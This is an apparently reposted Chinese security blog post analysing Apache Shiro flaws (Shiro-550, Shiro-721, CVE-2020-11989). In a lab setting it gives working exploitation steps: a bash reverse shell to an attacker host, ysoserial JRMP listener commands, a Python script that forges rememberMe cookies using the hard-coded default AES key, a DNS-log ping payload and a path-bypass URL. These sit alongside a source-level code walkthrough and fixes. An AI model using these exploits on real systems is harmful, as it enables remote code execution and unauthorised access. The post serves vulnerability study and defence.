shrio漏洞分析

admin 2022年1月6日01:45:12安全博客评论9 views14086字阅读46分57秒阅读模式

Shrio漏洞学习

Shrio反序列化命令执行(Shiro-550 CVE-2016-4437)

影响范围:
shiro <= 1.2.4 存在反序列化漏洞

漏洞缘由:
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookiecookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

  • 检索RememberMe Cookie的值
  • Base 64解码
  • AES解密(加密密钥硬编码)
  • 进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令

漏洞影响:
只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。

漏洞搭建:
https://github.com/Medicean/VulApps/tree/master/s/shiro/1
拉取镜像到本地

1
$ docker pull medicean/vulapps:s_shiro_1

启动环境

1
$ docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问8081端口

漏洞利用

相关环境:
靶机:192.168.247.130
攻击机:192.168.247.129

使用Shiro_exploit工具,检查是否存在默认的key。

Github项目地址: https://github.com/insightglacier/Shiro_exploit

1
python shiro_exploit.py -u http://192.168.247.130:8081/

存在默认key: CipherKey:kPH+bIxk5D2deZiIxcaaaA==

利用方式一:反弹shell

制作反弹shell 代码
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

1
bash -I >& /dev/tcp 192.168.247.129/1234 0>&1

使用 ysoserial 中 JRMP 监听模块,监听6666端口
ysoserial 地址: https://github.com/frohoff/ysoserial
攻击机中执行命令:

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ny4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

shrio漏洞分析
监听反弹端口 1234
攻击机中执行命令:

1
nc -lvnp 1234

生成 POC
shrio.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

shrio.py 和 ysoserial.jar 放在同一目录下,攻击机中执行如下命令

1
python3 shiro.py 192.168.247.129:6666

得到rememberMe
shrio漏洞分析
抓取登录后的数据包,修改 cookie的 rememberMe 。
shrio漏洞分析
反弹成功

利用方式二:写入shell
生成poc.ser

1
java -jar ysoserial.jar CommonsBeanutils1 "echo 'this a test' > /tmp/shell" > poc.ser

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

这里没尝试成功

漏洞分析

环境搭建

1
2
3
4
5
6
7
//jdk1.6版本  window jdk版本切换:w 
//maven 3.2.5 maven历史版本下载 https://blog.csdn.net/still_ly/article/details/80905149
//tomcat 7
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
mvn package -D maven.skip.test=true

在.m2目录下创建一个toolchains.xml文件,然后加入jdk 1.6的路径,这个版本的编译依赖jdk1.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>C:\Program Files\Java\jdk1.6.0_45\</jdkHome>
</configuration>
</toolchain>
</toolchains>

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin设置断点,点击debug开启tomcat服务,在web端登陆账户,勾选Remember Me按钮,
shrio漏洞分析
首先代码对调用 forgetIdentity 对subject变量进行处理,跟进此方法,即CookieRememberMeManager类的forgetIdentity

1
2
3
4
5
6
7
8
9
//org.apache.shiro.web.mgt.CookieRememberMeManager
protected void forgetIdentity(Subject subject) {
if (WebUtils.isHttp(subject)) {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
this.forgetIdentity(request, response);
}

}

调用 另一 forgetIdentity 方法处理request和response请求,这里调用了removeFrom方法

1
2
3
4
//org.apache.shiro.web.mgt.CookieRememberMeManager
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
this.getCookie().removeFrom(request, response);
}

removeFrom 添加 response 的头部信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//org.apache.shiro.web.servlet.SimpleCookie
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = this.getName();
String value = "deleteMe";
String comment = null;
String domain = this.getDomain();
String path = this.calculatePath(request);
int maxAge = 0;
int version = this.getVersion();
boolean secure = this.isSecure();
boolean httpOnly = false;
this.addCookieHeader(response, name, value, (String)comment, domain, path, maxAge, version, secure, httpOnly);
log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

然后,重新返回到 onSuccessfulLogin 方法

1
2
3
4
5
6
7
8
9
10
//org.apache.shiro.mgt.AbstractRememberMeManager
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
this.forgetIdentity(subject);
if (this.isRememberMe(token)) {
this.rememberIdentity(subject, token, info);
} else if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account.");
}

}

这里判断是否对token进行了isRememberMe,这个 isRememberMe 看是否在这个web登陆中勾选了remember me,这里已勾选,继续下一步

1
2
3
4
//org.apache.shiro.mgt.AbstractRememberMeManager
protected boolean isRememberMe(AuthenticationToken token) {
return token != null && token instanceof RememberMeAuthenticationToken && ((RememberMeAuthenticationToken)token).isRememberMe();
}

进入 rememberIdentity 方法中,principals 为 用户名

1
2
3
4
5
//org.apache.shiro.mgt.AbstractRememberMeManager
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}

又调用另外一个重载 rememberIdentity,跟进其方法,通过convertPrincipalsToBytes对accountPrincipals变量进行处理

1
2
3
4
5
//org.apache.shiro.mgt.AbstractRememberMeManager
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

跟进convertPrincipalsToBytes方法发现它会序列化我们传入的用户名,然后调用encrypt方法加密序列化后的二进制字节。

1
2
3
4
5
6
7
8
9
//org.apache.shiro.mgt.AbstractRememberMeManager
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}

return bytes;
}

跟进encrypt,使用AES的 CBC分组加密模式,加密秘钥this.getEncryptionCipherKey() 和DEFAULT_CIPHER_KEY_BYTES 一致

1
2
3
4
5
6
7
8
9
10
11
//org.apache.shiro.mgt.AbstractRememberMeManager
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}

return value;
}

再返回rememberIdentity,将序列化用户名并AES加密的二进制字节传入rememberSerializedIdentity方法中,进行base64编码,跟进此方法

1
2
3
4
5
//org.apache.shiro.mgt.AbstractRememberMeManager
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

将传入的二进制字节进行base64编码并添加到cookie中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//org.apache.shiro.web.mgt.CookieRememberMeManager
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}

cookie.saveTo()将cookie的相关属性值添加到reponse请求包头部。

1
2
3
4
5
6
7
8
9
10
11
12
public void saveTo(HttpServletRequest request, HttpServletResponse response) {
String name = this.getName();
String value = this.getValue();
String comment = this.getComment();
String domain = this.getDomain();
String path = this.calculatePath(request);
int maxAge = this.getMaxAge();
int version = this.getVersion();
boolean secure = this.isSecure();
boolean httpOnly = this.isHttpOnly();
this.addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);
}

加密过程就是将登入的用户名进行反序列化,并用AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES(硬编码)值做为key,进行AES的CBC分组模式进行加密,然后又base64编码,最后添加到response请求包的set-cookie头部里

解密过程

在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法设置断点
shrio漏洞分析
调用getRememberedSerializedIdentity处理http请求,跟进此方法,利用this.getCookie().readValue(request, response)读取 cookie 中 rememberMe 的值,并对其值进行base64解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//org.apache.shiro.web.mgt.CookieRememberMeManager
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}

byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}

return decoded;
} else {
return null;
}
}
}
}

再返回getRememberedPrincipals方法,调用this.convertBytesToPrincipals(bytes, subjectContext),对rememberMe的base64解码后的值进行处理,跟进此方法,convertBytesToPrincipals 对传入的二进制字符串进行解密和反序列化操作。可以跟进decrypt方法查看具体的解密操作。

1
2
3
4
5
6
7
8
//org.apache.shiro.mgt.AbstractRememberMeManager
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

decrypt方法中的调用 AES 的 CBC 模式进行解密,key为硬编码的值。

1
2
3
4
5
6
7
8
9
10
11
//org.apache.shiro.mgt.AbstractRememberMeManager
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}

return serialized;
}

所以解密过程为加密过程的相反操作,如果得知AES算法中的key(硬编码),就可以构造任意的反序列化字符串,进行RCE。

修复方式

官方针对这个问题的修复方式:

1、删除相关默认密钥

2、如果没有配置密钥,会随机生成一个密钥。

Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)

Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。

影响范围:Apache Shiro < 1.4.2
利用条件:
1.攻击者知道密文和初始向量IV
2.padding错误和padding正确服务器可返回不一样的状态

攻击效果:
正常CBC解密需要知道IV、Key、密文,而通过Padding Oracle漏洞,只用知道IV、密文即可获得明文

shiro-1.25以前,AES密钥是硬编码到源码中的,因此可以更改RememberMe的值进行反序列化RCE

而1.2.5之后,shiro采用了随机密钥,也就引出了SHIRO-721,通过padding oracle attack的方式得到,

根据p0师傅之前的文章,在shiro中,当我们更改padding值时,padding正确但反序列化错误则会爆deserialize error;padding错误爆padding error

RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,攻击者无需知道RememberMe加密的密钥。

漏洞利用

环境配置

1
2
3
4
git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

攻击流程:

  1. 登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
  2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
  3. 加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
  4. 重放恶意RememberMe cookie,以执行反序列化攻击

1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me)
(1) 认证失败时会设置deleteMe的cookie:

shrio漏洞分析
(2) 认证成功则不会设置deleteMe的cookie:
shrio漏洞分析
根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况:

  • 构造的数据不能通过字符填充验证,返回deleteme;
  • 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.

获取cookie
shrio漏洞分析
2.生成java payload

1
java -jar ysoserial.jar CommonsBeanutils1 "ping awa4xw.ceye.io" > payload.class

3.执行exp,经过了几十分钟的爆破,得到padding oracle attack后的cookie

1
python2 shiro_exp.py http://192.168.247.130:8080/ NqoZZVVnFvBxH0m7tavNPhx2H2mPLucccvcuM3WSSIQIWyksw3xnNG70MWsSy+TFCUZEkiQSdV38fTmfJgsuEJPFLUrVQUwDkZ+disZ5k1auCE2swMsLE7cUxDykdPk79k6Q0k6N8rZpszd/1+F6uoA8PDH9zaYt7RwXUS2z+JKFV30Cl7h0zZvlKYK98DrITFX8sW0Z/veIgh6G3ljIAIo6CgRUKMwYsi1dfD+HeE5qxTpofOfyuUnkguzY//gvEahmxWy85qMBgSchENUn+aKOFWnrtEvTQ3bOhN3T5Lb2zz0waCSpFEyC+tBDYxUWiiANjJnkUf/KtOZ/tQheAjZezmBymL5qOQJPMaVuGyQtX7AGIhn3r3wrLdQsCog4NzCM5EcaNV4zuGEXL4Mfnk0xh7Lv4O04c931gCRM6zv5hB743NwjdO72hc1TcC/CYLRjfs5rUWHerNClnBJhw5h+pQuJdZ0qsv95aC0Qeh4ywpQKELPfpbuZNEd1zt75 payload.class

shrio漏洞分析
4.复制该cookie,然后重放一下数据库,即可成功执行命令
shrio漏洞分析

漏洞分析

Apache Shiro权限绕过漏洞分析(CVE-2020-11989)

详情可看: https://xz.aliyun.com/t/7964

影响范围

  • Apache Shiro < 1.5.3
  • Spring 框架中只使用 Shiro 鉴权

利用条件:

  • 应用不能部署在根目录,也就是需要context-path,server.servlet.context-path=/test,如果为根目录则context-path为空,就会被CVE-2020-1957的patch将URL格式化,值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。
  • Spring控制器中没有另外的权限校验代码

如果直接访问 /test/admin/page ,会返回302跳转要求登录
shrio漏洞分析
但是访问 /;/test/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息
shrio漏洞分析
漏油缘由:
Tomcat判断/;test/admin/page 为test应用下的/admin/page路由,进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由,最后导致shiro的权限绕过。

另外一种思路: https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

参考文章:

Apache Shiro权限绕过漏洞分析(CVE-2020-11989) :https://xz.aliyun.com/t/7964
Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989): https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
Shiro反序列化漏洞分析
Shiro反序列化分析带思路及组件检测笔记:https://xz.aliyun.com/t/8997
Shiro反序列化漏洞利用汇总:https://cloud.tencent.com/developer/article/1657019
Shiro Padding Oracle Attack 反序列化:anquanke.com/post/id/200793
Shiro 721 Padding Oracle攻击漏洞分析:https://www.anquanke.com/post/id/193165
从更深层面看Shiro Padding Oracle漏洞:https://www.anquanke.com/post/id/203869
Apache Shiro Padding Oracle反序列化漏洞分析(下):https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2020/02/09/analysis-shiro-padding-oracle-2/

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:45:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  shrio漏洞分析 http://cn-sec.com/archives/722599.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: